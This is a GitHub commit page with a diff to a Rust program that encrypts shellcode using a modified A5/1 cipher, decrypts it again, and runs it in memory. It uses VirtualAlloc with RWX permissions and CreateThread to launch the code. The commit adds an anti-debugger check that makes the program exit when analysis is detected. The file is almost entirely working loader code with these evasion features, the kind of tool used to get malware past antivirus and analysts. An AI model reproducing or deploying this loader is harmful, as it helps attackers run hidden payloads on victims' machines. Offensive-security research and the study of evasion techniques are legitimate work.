Skip to content

Commit 59c71af

Browse files
committed
Changes at Encrypting A5/1 cipher
This program encrypts shellcode using a modified A5/1 cipher with seeded randomness, writes it to a file, decrypts it back, and executes the shellcode in memory.
1 parent cbdfe8d commit 59c71af

File tree

1 file changed

+50
-11
lines changed

1 file changed

+50
-11
lines changed

Encryption Methods/gsm_a5_1.rs

Lines changed: 50 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,50 @@
11
/*
2-
Encrypt and Execute Shellcode using GSM A5/1 algorithm.
2+
Encrypt shellcode using a modified A5/1 cipher with seeded randomness.
33
Author: 5mukx
44
*/
55

6+
/*
7+
[dependencies]
8+
rand = "0.8.5"
9+
rand_chacha = "0.3.1"
10+
winapi = { version = "0.3.9", features = ["memoryapi","processthreadsapi","synchapi","winnt"]}
11+
*/
12+
613
use std::{fs::{self, File}, io::Write, ptr::null_mut};
714

15+
use rand::{Rng, SeedableRng};
816
use winapi::um::{
917
memoryapi::{VirtualAlloc, VirtualFree},
10-
processthreadsapi::CreateThread,
18+
processthreadsapi::{CreateThread, GetCurrentProcessId, OpenProcess},
1119
synchapi::WaitForSingleObject,
1220
winnt::{MEM_COMMIT, MEM_RELEASE, PAGE_EXECUTE_READWRITE}
1321
};
1422

23+
1524
const A51_KEY_SIZE: usize = 8;
1625

1726
fn a5_step(x: u32, y: u32, z: u32) -> u32 {
1827
(x & y) ^ (x & z) ^ (y & z)
1928
}
2029

21-
fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
30+
31+
fn check_for_debugger() -> bool{
32+
unsafe{
33+
let pid = GetCurrentProcessId();
34+
let handle = OpenProcess(
35+
0x000F0000 | 0x00100000 | 0xFFFF,
36+
0,
37+
pid
38+
);
39+
40+
handle.is_null()
41+
}
42+
}
43+
44+
fn a5_1_encrypt(key: &[u8], msg: &[u8], seed:u64) -> Vec<u8> {
45+
46+
let mut rng = rand_chacha::ChaCha8Rng::seed_from_u64(seed);
47+
2248
let mut r1 = 0u32;
2349
let mut r2 = 0u32;
2450
let mut r3 = 0u32;
@@ -28,7 +54,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
2854
let feedback = ((key[i % key.len()] >> (i / 8)) & 1) as u32
2955
^ (r1 >> 18 & 1)
3056
^ (r2 >> 21 & 1)
31-
^ (r3 >> 22 & 1);
57+
^ (r3 >> 22 & 1)
58+
^ (rng.gen::<u32>() & 1);
3259
r1 = (r1 << 1) | feedback;
3360
r2 = (r2 << 1) | ((r1 >> 8) & 1);
3461
r3 = (r3 << 1) | ((r2 >> 10) & 1);
@@ -52,8 +79,8 @@ fn a5_1_encrypt(key: &[u8], msg: &[u8]) -> Vec<u8> {
5279
.collect()
5380
}
5481

55-
fn a5_1_decrypt(key: &[u8], cipher: &[u8]) -> Vec<u8> {
56-
a5_1_encrypt(key, cipher) // decryption func is the same as encryption for A5/1
82+
fn a5_1_decrypt(key: &[u8], cipher: &[u8], seed:u64) -> Vec<u8> {
83+
a5_1_encrypt(key, cipher, seed) // decryption func is the same as encryption for A5/1 -> Just pause the keys with enc data !
5784
}
5885

5986
fn read_file(path: &str) -> Vec<u8> {
@@ -66,6 +93,11 @@ fn write_file(path: &str, data: &[u8]) {
6693
}
6794

6895
fn execute_shellcode(shellcode: &[u8]) {
96+
if check_for_debugger() {
97+
println!("[-] Debugger detected, exiting...");
98+
std::process::exit(0x100);
99+
}
100+
69101
unsafe {
70102
let mem = VirtualAlloc(
71103
null_mut(),
@@ -75,7 +107,8 @@ fn execute_shellcode(shellcode: &[u8]) {
75107
);
76108

77109
if mem.is_null() {
78-
panic!("Failed to allocate memory for shellcode");
110+
println!("[-] Failed to allocate memory for shellcode");
111+
std::process::exit(0x100);
79112
}
80113

81114
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
@@ -91,28 +124,34 @@ fn execute_shellcode(shellcode: &[u8]) {
91124

92125
if thread.is_null() {
93126
VirtualFree(mem, 0, MEM_RELEASE);
94-
panic!("Failed to create thread for shellcode");
127+
println!("[-] Failed to create thread for shellcode");
128+
std::process::exit(0x100);
95129
}
96130

97-
WaitForSingleObject(thread, u32::MAX);
131+
WaitForSingleObject(thread, 0xFFFFFFFF);
98132
VirtualFree(mem, 0, MEM_RELEASE);
99133
}
100134
}
101135

102136
fn main(){
103137
let key: [u8; A51_KEY_SIZE] = [0x11,0x22,0x33,0x44,0x55,0x66,0x77,0x88];
138+
139+
// replace your bin file
104140
let input_file = "msgbox_shellcode.bin";
105141
let encrypted_file = "encrypt_msg.bin";
106142
let decrypt_file = "decrypt_msg.bin";
107143

144+
// using seed rng to generate the same sequence of random numbers.
145+
let seed = 1024;
146+
108147
// encrypt_function exec
109148
let shellcode = read_file(&input_file);
110-
let encrypt_shellcode = a5_1_encrypt(&key, &shellcode);
149+
let encrypt_shellcode = a5_1_encrypt(&key, &shellcode, seed);
111150
write_file(&encrypted_file, &encrypt_shellcode);
112151

113152
// decrypt_function exec
114153
let encrypt_data = read_file(&encrypted_file);
115-
let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data);
154+
let decrypt_shellcode = a5_1_decrypt(&key,&encrypt_data, seed);
116155
write_file(&decrypt_file, &decrypt_shellcode);
117156

118157
// sample func to test and execute shellcode.

0 commit comments

Comments
 (0)